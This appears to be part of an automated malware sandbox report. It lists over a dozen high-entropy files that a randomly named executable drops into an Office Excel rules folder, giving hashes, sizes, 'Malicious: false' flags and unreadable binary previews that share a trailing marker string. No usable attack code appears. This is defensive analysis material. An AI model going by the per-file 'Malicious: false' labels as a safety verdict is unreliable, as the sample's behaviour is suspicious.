Preview:	<?xml.[...p.x.\..".2..U..T."........G.K.1X8V[..g.h.......^a.....U.......w..._;:.-..Wk....?..L...H......@...rdh.x....7r..=J.,.L..>....r..5h.....k5H.Q.w.e.;v5f...\.~PN..,...%..i.m7QqG@.....U.T.#...b.....[Q0J.\|.....-......9.. R.@.;x.un.x.E.XQm..y...Je.xU..7.....m..E!m.3.#>.xz[{....P<t..M..y]..[.H}.......KW+..-<...gU.V..^kv<....%H{.z.Sf...:T..&DpAk0....-.>.Ra"..{..XLT..[....iJc...fP;...............z.\Z.( :...u..](...,..W....#........>.A.....d..!..qe.n.fz.L..Z.I.5.z.<...G:z.&..N7..../m_.n.b.1......B...7........Eu~.....pY;....'.[...6...[*\|T>?v.E....`I......wi.<..M....3..E.....w....0........w......)...Ja......j.Q..p.lP.... ........:..g..}...b.."l..T3......+Y3.N.E%1..pX..G...(.....s.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.688647533026403
Encrypted:	false
SSDEEP:	12:3aq5Vm55J6mHsSNk3w7oz7rJDCaAnXCj8l52ufCLCQkq0ucrUeswGWp3NmsVVCVr:3aGcBsSNkA7ozhaUCQkDuw/MVIuDbD
MD5:	338870D15BB59EBD29DEBE2C2B0FF81A
SHA1:	AE87D8176291123193D51FC1E6B1BA789D5C1BF9
SHA-256:	E6AF37B38EDC67941006DAB6A92EC61F4B2B5C65F6A362C8886B1CA80838A276
SHA-512:	E4AB23CA821F4AC17F2183AE90B8B04CD685C8EA08166793824DDA18DA07B377281C0D2264F295886A0ECA9ED0C0127EA2F4D6FB2B516A4D9C7E1D1AC6CD9A1F
Malicious:	false
Preview:	<?xml..7..w...x....g.F.@v.....2.....j4Q.o.E..i.Cjv.LM.GP.i..E./..H.Z.(=c...K.3.........c.h\|..c.@..;.KC..\|mJ..1w$....g........~..J.4.b.g.S.....j$.U".h....MJ......&-.....".?.....[.8...j....S..b....Bzv.M...lq.J.._.5NZ.T.j.T..!...l.?.....prS.I..0qO.s.N.0.B_.C.;.0h.2H..S.(.".....kw..O.h7.SKT.............._.,..x..........<.4"..".............'........N.....>.a..w.h..6..,..~.q..)hj...HM.../..w...@.ij.g,....e&...W.....yD.T=[..`.}..o....c......f.P.P~.q...A.7..o".B.9..."..8.....K..b<.Ko....k.B.7.X....5.f.._.._.@....m5Q!.d6..1.{i.......,A=.>.....{..u..4k.P.1.~.9..Z.9..S!p..L..^<EF)<.g;..M.=kI.*c.,.A0G..{j.N......&.M.....M>.....\|..G`...])........hR.C.x.rN....+.r.=...T.Q/..MR'8S.Aq6.N\|.:....)x}.~}`.^.R>.....I..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.702642433143508
Encrypted:	false
SSDEEP:	12:ohbgk6evR9WvYfk4I1l6D4938HtEgiEVfe3oeXmfn0iORe1/cZJi6vIphKDFV4JA:ohbgYvvWvYfk4I1kDK3cxieMoeXm/0ii
MD5:	482B319F75590351D627D1F4C4DB87FD
SHA1:	C205FE3CBCF5D31B0A1CA154D41B98CD787C700D
SHA-256:	64DA33367BF0007B9BB8EBA94C3E212E775FA7B3BD1D7293690AC4D5193F804D
SHA-512:	A14A08349F23815C38EDC996EC0244194A171173E4C663F30D43E9F7308B04DFEB55DA27F5EF3183F622BB853DC132A833DDE79DDECC239276AD8FC7A605DE51
Malicious:	false
Preview:	<?xml.9.. ...m..T....F..W..B..~..).p..J.I8:.V..N..H..-!..o.'...}{N...7En...!.ck0..\!...a.@-@wv;..E=%..O.WF....+<.....a...e.W...Pqz........aYv.....5.K.....Pj.S...TU.k....g(......U^.:_..!.?..KV#...k.....,....&..$.(.n...{m.H[........`....{].V...!#.z`n..:.j.lxq..7.&..F"F...v...\..a5..v.7...^UVuA.Uc....p.D]H.....$..=....#j......u........Zb.#2..o..4.0./.....8..0S..S>m..d...x+.U.p....`2.....N.c..}...../.h.-....*.A._P..r.=N.1....'<.:.+4m..D..D.8?.N...=..M.qw.]...=o.w.l"......\..O.4.b`E..........H.Yz.kE(.J....{..b.H.Y..^.....,B../!.....H.6.....l...&.T....IAQo....rJ]L.3.XP.g..R..2.aF..W.....L.W..q.=O...e...F&.....v..Oz.m..W.A...d.g.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.710129778406708
Encrypted:	false
SSDEEP:	12:u6YBsspSrUuQSGW4NPpZNjos/9a1YHOTN/OHCy6SFeLo6CLbfGgeYDA/1+cii9a:u6jspDSZCpZl/xmxSELo61geIbD
MD5:	3C632F7ADA98ABC6A3F3907FC8D35BB2
SHA1:	05BE6087616D6882F665DEA778A055D35772979B
SHA-256:	F0AAA11C78DD66745F5C1CB74C52B689C8E8C19C549136B5A1BF76027CFE639B
SHA-512:	4EDDE96A470CC603F69E7C63E72B29D770FC8E386F8F1EAC4BE0AE84EBACCDF1FEA8572FEC5407FBCDB6B3CB169F7B89A14553A6198E3C9B599FA8E725A7B07E
Malicious:	false
Preview:	<?xml./Ui-b=.....fV..Y.h...GR.....q&..9.~... .....p.q:."+.....K.....b..S.g$.....x.h.......=d.w-O.O&...n..yI2.....^.r...ks}...2!k6B{.JH.`...._l#.b..Z....;o8n.........'i...(.m..q.."..0./.....8E!.e-..}Gk.F....z.B).....N..\.....6...pYgx+....h>...W..:W*..q_.T..TC..rFL.6.....V.....A..d<9A...&..,m5......\|M~.U&-..o..30E..v.n1\.~.u...k..d..q'.<...#_.\|f.L\.K..o.W_b,..w.+.....+..>6T<FzA...&..eR8.$.fo@WA[H_J...ccM.....'L...-...8R...3RB,5...Qf.i?.....`......w...i...4z.Q.A.........n.....~..jQ.s,.8/.....9.tcx..,tv.K..<.H..Ipa&.U........P.V...~<...5Qy..&..wDh...U.......54.../$.c.2.,.Db....E.w:.a53.......ie..+8!.KJ.Q.3...sb$..5\.......kF..).S..[.0.....@..F..!.A..V....l....{..n%. ........:L.B..0.9@L..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.683315806027241
Encrypted:	false
SSDEEP:	12:UhrfBpr49h0NEPHZIIo2x8263sa+uJBYQVtdYjDNgmbiJIzycn3L35V5G3jQqcVT:iGh0cKIl8268a+ujTVEn+6ucnlvG0DbD
MD5:	BCD45CB1B5244A26880C2F0CBCFDDB61
SHA1:	0226E93CF8533929A3703DEBD348627C6F5F16A4
SHA-256:	A49FAFCD06FAB6C9FBA69A62C1C652AB4FFD4DE5C604E5DC1B0596B056CD7FBC
SHA-512:	3A53E12803A24C13810079520F13F8806084A5B0535B8BFAAD8B3445DF57E1C0B741846DC66C3893EF0D52B30D029072BC0E470102FE61AAFD6F075CF82767D5
Malicious:	false
Preview:	<?xmli.1!.jJ.t..rp?...A......mj.3q>`...9.00Z...~...j..$...o.....0#rk "s$...%..+........3.Tl]0..i.Cbr..w....0.f.1..........f?..0..?.c........f.b.x..)+0....Zx.....].....97&.K..&F".Yd..q.k..!.....x..h...5yZ.`_j.".+.Y....I..l..H....I......#.,......@[....c.b-..A..7.-..C\|V.8.WY...~O.....>.0&i...5.r.L...\.....N..n.h]..k...V.~..\}^m8..x......k..........m.zH.o.M.?.......z..i..EY...%.\....2.75t5...O.}]r..FO...u>Z...c.#.x<.k....1.).iZf9.....;..C..l.,?M...c[.w\!..\... ..,....z...N.. .......h5...5_.E./...).L...w...:E....<..YQ......M.B.zS.y.c'.9#..;.y3b..C.Y...q+.{[l.p.....z....2.ix.i.Lq?.a..}...P_....pG..$7..Q...c<....h]..&.fd1Y...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.724969598026103
Encrypted:	false
SSDEEP:	24:X5iNjiMZIdAqUTw2I079m0GsiqKem2dWCz5HbD:sNjHQAqUTw2n9m/siSdzz57D
MD5:	2C567D1FE5867456967CF31DFD416863
SHA1:	427B4CAAF57600788D38312D0ADB466D05A8C949
SHA-256:	9CAE8A92A3AAA4EC81A9AB0160CF273BAEC60E15FBF52DA3F424BF096971DA80
SHA-512:	390C8CFFC9E25E5E7DC082FF9B486CE4F375035DC44FE68B1E8F1B7BC8E1EC1EEBC04587EB7241D83ABBA4A278A11BE8780BDE91C7CC8E427D226026E790AC42
Malicious:	false
Preview:	<?xml.........a./.......Q}6. .cE(..]...<..g..X..".<..oTO.R]!=.T......YV(&...}j(,..NZ.qq..(.M.n...h....,...).w...Y..E.-...k.yK....j.."D.J..%$...^U......#g./..../tFQ..c.J......o"...:.ja.D.%...../.\|..\..^......sR<t........E+.@..\|...u.....{..@Ysg.5.6......dz..5.TV..a..3..^.>k.O.....Ur.........&U...Z..qr....^..:.,j..P...Rl6.>3.%2i8..,.%.T..u.?\|y..R.........SB.N...."_.;T...*........5..-...2f$..Uo...~.l.u.KA5..."\|1l:J.;A.....@.}..."..C...."...V}.m[f...V4...N4.%.Juc.m..U.n\|......W.....D.....,M....6.....&....'..FA...H......3y..1......b..A.l.V.\|........b..d.....)@~6.....;.:.......v...I.w..N.4.. ..O.UB.:..<..Z..0..M.{...^w..%.99P...P..@.M$U..F(...@.R...=........hi.\........pu...X..._bK...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.691250078648078
Encrypted:	false
SSDEEP:	12:yAO+ObwIo0V6ncqUCravhtORFHTCuH+kK8Yfw8VJJ+QA1+cii9a:lO+OE2V6nG2RBskTYfLVJ4mbD
MD5:	971D64EC5990A06FC15D0B40D40F2347
SHA1:	4CC2C934577513EB5D175C4EA00932D39087C42F
SHA-256:	D86411DCCACE44449B46C366CA7DCF472AE2D0BB50E86DE44383F7FA11FAE8EA
SHA-512:	3CF9224BB73CEE45F8CF843EE235908805C0F2C88A0021B082219A041726AA4322394A2AC427FC6CB6815C199F8257FD02390F07E41D02B1C2E83D2D66252B50
Malicious:	false
Preview:	<?xml.Pp.KSPB.3..P..-^...$3Kv3..{r\z..R&*._.....#.X.8u..q.O4.>.....x..Y......+b..(.1....;RC^'{...>...B..Xx.V[>.!./.K.B.Q.K.a...o..K.c...p.W.t.`...X..n..A#.e...2.y3%..vQ..5...~z.T..Ql..6..].h......2V"..L.t(E1.....\./...=.......$]...k0..$.g....y...9 .]...myK9.f.......{..........v..n3Z.....,.,.Y.{.....[..{=.>3.........P..m......~`..{:..0..s...!.p.W...^..A..-.1.L.c&H .../.......V%...D;.....\.T.(D...`....A.....b.b.$sS.]&p....q......3.Z.LY..a.....j.4...rSu..)S....S...Q%..E3l...........bsv9.x.fg..8..e.....\|.o."z..5bv_..O.E..`.q..y..H.Q.......P.p'...B._.....Z.SsK...\|M0.W=..._..m?.Ul...A...1B..L.d.N...v...vp.UB`rb.NU-.R]....<.=.Cu..=......_H.CSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.754011350373741
Encrypted:	false
SSDEEP:	24:So3vjdwLTxv6/xo/Qw1q1mR0dniKK/L5/bD:Z7d4TSWzUuGsD5D
MD5:	1EC6F28E9A8AA9AB05FCB018E46632AA
SHA1:	83AD8BE4148D91B9B2879ADA10C4EB7EAAA3F3F6
SHA-256:	AD64BA64AE2D0780440F434447AE6E190443558C828BF4C9AFC4A110B366536C
SHA-512:	ECDC7A0800B9B84A498CFC5E85AE571688850032CA316A78BDB23BD9C9C48C15B4073FC7B1FA8FEB9DD5D06E452F8E2E8FF28FF3A8B9B0DF6D9D95F377AAD1F6
Malicious:	false
Preview:	<?xml.p.....s.M...6.9rVO.a....v.....:.K\|..y....q._.>&....[4...%...Z.).......p.....S.. ...h"cW....].%....3!...W'...9.Q.....E+0$...a..T..W.x.9(.dLP..Z..jRq.3..F..~.I...r.....~...I...4J. .Q.+#.v...:ygd........kn....r..C..w..J......\|o....}..@r..C.<%:.....-.IA...W+.._.{.%........U.,..G...w.,......0..iz'0zc...Y.,^t.6...d...Q.s.5..#d...([..-O...^......h.wk..<..6;.N.....N....u...Iu....L.6.l..u...&......H&. .h.*...W,,....:.'y......\..._...G..n._....C..r.]#%./-FL.....G...{?.j....XD..aQ.5.^. ..g..P.F..yq..4U..S9.4..ztC...9.....j..b.j...M........Z..+....R.Q.-..../`Nm....o.d.:..3V.d..8.....>.\|.8.D...UXW.9._.>...>..tX..9...i.R5..'C..r...o..5..S.(.......6=.....D.M@.e}0E..m..`..'..Q6.....;....h.....i.n _.cj....\2u=.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.725619955781114
Encrypted:	false
SSDEEP:	12:KjElxO3xyTbm44bUb3VBWQwd18+866utICw89POaS4Dhu+IloiVuIpxxoJDrvPts:m3P4oiV0Qo2+kutLOaS4DhjJUx+JDLts
MD5:	76701839293DB1275C9D7D725458DB06
SHA1:	8CAD86BCA40284AB7B6B8BD4DE922A4AA9623327
SHA-256:	DACCC6976C2205C3C8F2F3ECEFF309391FC7FD00DE38A5CDF7C74D15A218C7F7
SHA-512:	2E9AD118210A6D8BE4D14F2AAADA41FEFAB3C2370C7D3234A1F4DAE4D2A417B3B779CA197EA6EC882407CCB31434AEB758A6C278CEE617E075E8FAE9F7318E00
Malicious:	false
Preview:	<?xmlB.%..EN.h......m..1}.K.........l.p..........}oo.i...(W..J9{x..ks}....=.>._e.....]Clx?.`.:......l..7.o..b.....?O........Z.......?@..U8..X\\|Ue...,..r..{.n.l..1..2....Y..q.c......o2>C.JDv...@x.z....<dZ.dq..............4..k.l.K..{...._.....&..v.:R....w...4....c./....;~..4Sa.f=W{\..'BI..K.._.....#..OY.x3.SS..q#....5..O...........tx"..'...6D..%. ...R......`M9.(..Zy..gwI-.Sm.N.gT.7..,..#.h..ve....=.....>..)..P0\|}.Z.....G.ur%.<.O.L...3x[.......p..c5.......Y.....s*.........0...%~q..v#Xf-...b.Y4.6..q.{...!....2...=.kH....q..%$;.......G..IN.....[........#......k.....a.+.~..G..K.'./..i..HG.xi.lQ.V...r.s........r.!.^.......vJ....5\|}.......m.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.7081066232822
Encrypted:	false
SSDEEP:	12:1UErMYEcpRNOqwhrMzyKJMX3Ppm1aPQQ6SEHzS7dnr8onXNChFOz1+cii9a:mErMtwzyKanPcaPQQ6SPnr8oXYFHbD
MD5:	B301E028FBD88D0CB17B466A3A569313
SHA1:	A89766FAE81D2D5E836A276D441F3EFEC10497CC
SHA-256:	27187BAA957B6904BBEBFEA619B5BE69573882144839A0436B96DE423C01398D
SHA-512:	E452B68EC886EE4A20A95A9F40AFF3BD1F3AA4C81EF89D7B45A44DF0DE14E5C38C0CDF8E3858338AE53793C33551DE00A91EF23E73BF20A5392F9CFD455B35C1
Malicious:	false
Preview:	<?xmlf..../..f6.VK...C-.6.E..^r...X...@W9...F..........T.....n....=.....2n_.>s...OFor)[.?.N..8..Q@.....-........Q..5(..@.{...Z..A,..i.....K....a..N.;.Zg1...........@s...Mn..gf&..8.:V...@....}..%8W8S....7........a4.gu.izu.w..@..3bi ?.....;.....W"..,E.....>.E.,H].O....@..d.i...CqRn...d...t[..R7..?..6...x.[.6..L.4..:.j!...{([8...%..I..\..[....T.Y.%.8...#....v..Nt..D.2.OTD.:L+C..dP.d..}D..).\|p.vP...r....y.v.6..Ds.....ks9..!.&...J..+...6.TX%..$.M ..7.P8.$..Q...pQt.I......B!...7.8.....@..cF.7.`.`.........b..!e:..5d.....eB.`./.`=.G..8b.M.,Q.d...5.3#.I.j.>.....>.So.......Pu.F....Z.......s4.G.FuJ.R...5..(.uL...W...4.:........'E.2.F:...Q.F...B..<.........u.n.Z......y.qEl.....Z.B_.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.7222630746634495
Encrypted:	false
SSDEEP:	12:+ltmO46tRRlAk+yUQ+9WL++GcYMNIu7W32+EkAKEALbRFL6QF8lK1lyHCMfByG5m:umaX+S9BJYmIu7huhRFLvwKyHffB1qbD
MD5:	C1EF68C558D7BD715599B98F09C0BE61
SHA1:	A227A3E5097816191E7F168E7D69679052CC3205
SHA-256:	3F27AF509D7FAD26796EF217ACB6EC182438F18A6C24FFAB5422E44FB3A75D20
SHA-512:	85E75401037477A9C6DCB87383738E70B44612D44DA5C2227276A4CC4EA08D3438A006BCFF79B43BA2E664DB3220016236379C57A9C8FE7743BDB89C798EF240
Malicious:	false
Preview:	<?xml.....S.1..NO..9....D.....&...!R..MX...:.q......l..J.. .3.$.....FmrO......Y...U#+W..I..\|...s....@B...w...A..M.=X...,..".N.J.e.s.1.=.gQ..'.l...e..D....V'..S..D.nGV.8..l....h.p].g...X.\...2.Ha...[.......4..4..p..Y.I.=..sy.`:`.p........?.-...~.EHH..TH..g.......w..V........&j..I......d(..P..>.%.$..W.vdD...iT'........(.xh.I.\..H...z..6....X.us.n.Xf.>++.C....uG......!.....a+.:\|Y.f,)...a.Y.$.D.....&...Yt...l.TF.....iEA...}..m..c:.m..tFA..R..'.[.}.t..."..Pln.0...b.(91.\..<..."D.`.....b@9..6..v..........~5...N.o...p...C...?...rL\...].i/.@1......R.g3..8a.?.g..hX.6!ZL..f.../'.,..%......X.`!.A$...}..?.."(.......R...~...kW.....n.D.7?QSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.708713469217566
Encrypted:	false
SSDEEP:	24:XuA8WM6lEWwExeQEGzZVQavnNC6mdodlqibD:UtQEur3M6AodlnD
MD5:	97A374BEFEF3AFA2D42DC936A210496A
SHA1:	247381FED817FF52E29E601F8A0FAFEF5196F61F
SHA-256:	230CCDD0348BEE50EB7F7746B76DBEECF00D31377644B0B2482F3BEBC1C9C441
SHA-512:	608763970C96BACCFB17F7A285FF4E194E59FC373115BE43D1A313046A9AEC1EA3686F31253916742FE8BD4B65AD575396C5A61D308EE5299C3E9CBD09434104
Malicious:	false
Preview:	<?xml..p....")j.<;.L.s.U._.....#..1wi.pJB.U.X...#.* v...6.....g....=q]T...N(.wL....{p5....G=m.t.j..;P..w.\.R..yx.Q.%z.....:X'@..[.3vw..n.\..;S.@.@.......5.\.R..\.-.$;.Y.I..9L.lx...g......}..".G.YbB^.`......y.`....."w..l.tz..1...xa1Y4..b.lxv..e......%".~.jT..3/.8.Z...$.)9........fiS.i....F...Kg.mS(.g.c.}F....av..6Y5F..wrP?..V.U1....8%..g...}....8@...F.$c..9f..k.c.\.....!.<..F#:..M........f....z.8.He.....{o....NM....1.b".......L8`.2b....s.t6..d.....nu.K...PV5.W.xeo.#16.v.....?..(y}...&......<j<.}.T....YgNJ..3..X..a.E:u....\..1.........Y..B...=VF.u..ne3w..... .<=.ql_..dd..+..e...#.jx$.....7.e0#.,O.]8......f.]1.c..c...}F.V....C...a..'3..9...=..A.4.......+.s..&1.v...+.%\.k..!?.....BSi....]x&..i..Y./..!.l1W...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.718686378012825
Encrypted:	false
SSDEEP:	12:VSWRNquuSKXG8MNSNYpJVNICLReyWFNkbvlv6g7MEBZ+xAR0Oth4G8eif1+cii9a:VSW235XGLRpJVX+NkbR6g/81OYrenbD
MD5:	E53E307B07575E6E958E928448CF1D51
SHA1:	B2513BD8C923E06F56141976CCB4982C53849BCF
SHA-256:	B1CFA6CF120981DE82B88AD6C508A2DE7129A02A0D9949FE698AF132F1F63DE0
SHA-512:	66CAC34CB5A2777FD035614F7194886F7AF4F22D07C274C266C597CC7D33AFAFDE3243ED280130F8F53AA6CF48CF00289C7A8C310148DB39986978C86A404BD3
Malicious:	false
Preview:	<?xml.o...R...0..`.....g....a.4.....-..v.l....=9..5.=M[v.t..Y....+....a........`.R..d;ior..../..p5pt[......._G.......b...0.x.1.....~...i..L5)...R.^.<...L..%.z......I..C.ol.Ft..........M...KZ]U..$..U.\.......fZ.h...Mi.e..o .......5ks.~..I.....f..zj..$.>!BB3!...5.4....0...J......+w[..jV.X.W.U ]X.3..I.=.v'.......y. J..o.gw4..\..>.Lx./\|<.@_K..& Y..d$9..f..Tw.MY....4B..n..+$:4j...@7J.UJ.V....v.:.?IK.....\w. ...+..f#..J...d.@.....!.=...-".:.Ml#.).5.{./..........`..V..a.LBv...;.C..(.g(}B$...c.^g....w...j&1..c.`.....$mj...c.. ..x2...Y..]^....b...A.d.FQ........~.....'.I..L....z*.........../AM..r....%..o..G..5...&.D#.J.....a..........w.c.tPSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.692057436654588
Encrypted:	false
SSDEEP:	24:ntpAJaZ8JtIjKmHsVRgmJXnfXXM7v6yfjbD:ntyZjI4LJXv87v68D
MD5:	C471B416191BC10454E74A863687EA56
SHA1:	FFA85F2943BA578CCA03E9E5B3B846838906B5B7
SHA-256:	486819A113D95C13856BB1317E3F1651F3200125D0A4E90801CEE9614429F39C
SHA-512:	6D93473F8281D97D3B49E13F81D7359BD77746793531C4194A70FEF5B09ED80B966F8EE32E1BA1905A9F8CC112FAFCA1D6F470584AFB755FF87973187ADD418A
Malicious:	false
Preview:	<?xml..E.>^uo2v.v=6.i...........s;N... d... }w..`..{O2...?.....:[9....`..i.....e.......r..p..L......h}=\|g.n......t\|.r..[........<Ly.p..L;.-.r.#...p&..o..........s..SG.-.'.V.n......Sr!.....tb...9.......S..y./.#fZ..:.MQ..w.K..Z.D.a..H.G....T......w.f&.>..[..=O...h....u#.{.B.......uB..L.\qT.D!..%.w......<.n.....d..q....R.%.. .lF..w..V.r2C~.S..\@....@.C[z..I.ni9.Ddm..t.......Nj6.Q.)t...........`....7....U.\|5z.jS..H.=..j.jaN.......s.....E3BB.!s....jW.?h...:....W5..AW..8>..'.J...M.$.^..~..-o.......?H. .bC.......X..ZxpSF>....\..\,V_..=G...C3..xo.....u3.".9.8...Xs....W...#[ROG...LtJvA..4.3.&... ....A..u@....%.#+.'.P.9..P.P.N.......HT..X.I....\.;....H.A....ng4...V.!.H...z..y.....x...u.t..s.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.692801315720344
Encrypted:	false
SSDEEP:	12:aJ7zN7dGVSGYyAVRHCjCAZz+YxU0eUgHenwwwlGA6GXGx1+cii9a:C7h7dGcbE3ZbxxgbwwMA6GXGqbD
MD5:	857EB09BFCCF0D5497E20C6B8D0838D5
SHA1:	0411938FC4EBA1DD556D2ECA25A6B5CAD7E7D78C
SHA-256:	2D0EF9104762BD615D4467985F2C1967683C7F1ECDF91BE7705AE5BE2E950647
SHA-512:	99253E3F651D83A47639972F97723B98E095975B6844DAF0E996C7FEE4186C1A0284CD81621EA24383B2479CFF860B6E0F8A69B4B4B40177D3D396E432A5B710
Malicious:	false
Preview:	<?xml.w,..x}.j.Q.].5...........8.F.a...5....j...........gZ..9.D8....i..x...R.lZ.....4..g.S.,4..v^..X....H.Sy2......((.E<.....~%..1&P...MX...;...........8.a..e.......o.#;iE....o..c3f..Vv8.[.P.g.r..s.'_.....I.5CJ...Z..U.......C./.....O....h.P1X.....xM...1.C.p..9[..W=..cpTm........$c..7c..L..z.]R8.. ...V...U+.nK...........^.T%p.F..8..n.`q.{.xyY.!.8.O.Y./.Jh>B,V^.YzRy.^4f...].P.b5....O.~...q...t..-..u...g..s.}..LX....A....s.B..e..{.S...zn.U....}v-\.j.0....5..mn......-`...w...@r0.'.....<..R<....k.j~B..Ge.r.7..5r.....S.H..A%.]L.....l....X.....=F.P.....0>.....C..%....P?J..++.<.)v{7.{P...e.3"R..w.=uwwb..H.&.....'./B.8)n...=.%4[..R.W...t.k./...GSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.733961695746591
Encrypted:	false
SSDEEP:	12:VwUFkfEbH3q5diz6DJ5KGIVxLOIwzyvZ2zTrjBi+IJKe1dYE2jIj2nsNXFfwzEfm:VweLGPiy2GSxLObzd/+p9AIlNoVbD
MD5:	1A4B170810E9F92D60C7EB9B723672BC
SHA1:	744E656FE990AB5B1DFA30E0D19B30194CE20DC0
SHA-256:	AEC169C6BFF0829765350A4EE7F07129C6C2B7BAFF470E6CC51DEE5A85862DEA
SHA-512:	D7EB24205427C823A4BFD119850D4AF0BA7682BBA43C4721ADCFBEC6C769789049249077B839BF4C8A1020496EB6E9935DC6DC319932109BEC7F38D0578B02B5
Malicious:	false
Preview:	<?xml..8p...Y+..wIZ.^)v.eK.%E.....]...6..,..3....\|B.J...c.v.!.08+.$...G... v....xO.T[.....-...Z..O..s.O......0 ......!5...E...3.......R....E~.%U....u.5..5.3..n/....a.mX H.8...P[.v..>I.$R6.}<`..S..%2....../.k....78..}~f..S=h0.%_P.}w.Z6i.\..5.t.^..,./.=6.0N.....N..S...&g..U.7.....@jQ..Zr.$u# ..Qo..gHY....v....tWa).......8T.UG......&.\mzveCC...1....Xu0.^...l6wgUG.K.I.C.k .[.8'....J..f#l$n../b2...<.1.f8K@.Kj...:.{...y.l..t..Q.'.{.}.0-0...C.)?j...LY.O!....y..Fp......t!..=K.......Q............y...8F.!...g...(...^..D...{.0@..ay..7y..PE...,....4..._......R..X.!..F.C..B....o.\j.*GI.[.p.c.k.q<.g.J...=......C..`.6.O... ].....O....83....Q.\.....I...J]\|.d..E.......#...>=.=.s.k...........N."..T....k.-.<.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

